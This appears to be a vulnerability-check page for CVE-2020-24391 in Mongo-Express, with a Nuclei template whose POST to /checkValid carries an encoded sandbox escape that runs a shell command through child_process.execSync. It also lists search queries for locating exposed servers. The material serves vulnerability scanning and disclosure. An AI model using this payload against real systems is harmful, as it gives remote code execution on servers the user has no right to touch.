Mongo-Express - Remote Code Execution

criticalseverity

9.8CVSS score

74.5%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Mongo-Express before 1.0.0 is susceptible to remote code execution because it uses safer-eval to validate user supplied javascript. Unfortunately safer-eval sandboxing capabilities are easily bypassed leading to remote code execution in the context of the node server.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.

Fix

Apply the latest security patches or updates provided by the vendor to fix this vulnerability.

How to confirm it

Send: GET / ; POST /checkValid ; GET /public/css/{{randstr}}.css
Positive when: matches in body_3 /((u|g)id|groups)=[0-9]{1,4}\([a-z0-9]+\)/ AND status 200

Run it with nuclei: nuclei -id CVE-2020-24391 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2020-24391

info:
  name: Mongo-Express - Remote Code Execution
  author: leovalcante
  severity: critical
  description: Mongo-Express before 1.0.0 is susceptible to remote code execution because it uses safer-eval to validate user supplied javascript. Unfortunately safer-eval sandboxing capabilities are easily bypassed leading to remote code execution in the context of the node server.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix this vulnerability.
  reference:
    - https://securitylab.github.com/advisories/GHSL-2020-131-mongo-express/
    - https://github.com/mongo-express/mongo-express/commit/3a26b079e7821e0e209c3ee0cc2ae15ad467b91a
    - https://nvd.nist.gov/vuln/detail/CVE-2020-24391
    - https://github.com/mongodb-js/query-parser/issues/16
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-24391
    epss-score: 0.74519
    epss-percentile: 0.99499
    cpe: cpe:2.3:a:mongo-express_project:mongo-express:*:*:*:*:*:node.js:*:*
  metadata:
    max-request: 3
    vendor: mongo-express_project
    product: mongo-express
    framework: node.js
    shodan-query: http.title:"mongo express"
    fofa-query: title="mongo express"
    google-query: intitle:"mongo express"
  tags: cve,cve2020,mongo,express,rce,intrusive,mongo-express_project,node.js,vuln

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /checkValid HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        document=++++++++++++%28%28%29+%3D%3E+%7B%0A++++++++const+process+%3D+clearImmediate.constructor%28%22return+process%3B%22%29%28%29%3B%0A++++++++const+result+%3D+process.mainModule.require%28%22child_process%22%29.execSync%28%22id+%3E+build%2Fcss%2F{{randstr}}.css%22%29%3B%0A++++++++console.log%28%22Result%3A+%22+%2B+result%29%3B%0A++++++++return+true%3B%0A++++%7D%29%28%29++++++++
      - |
        GET /public/css/{{randstr}}.css HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        part: body_3
        regex:
          - "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)"

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        regex:
          - "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)"

References

Use this check only on systems you are authorised to test. Where the data comes from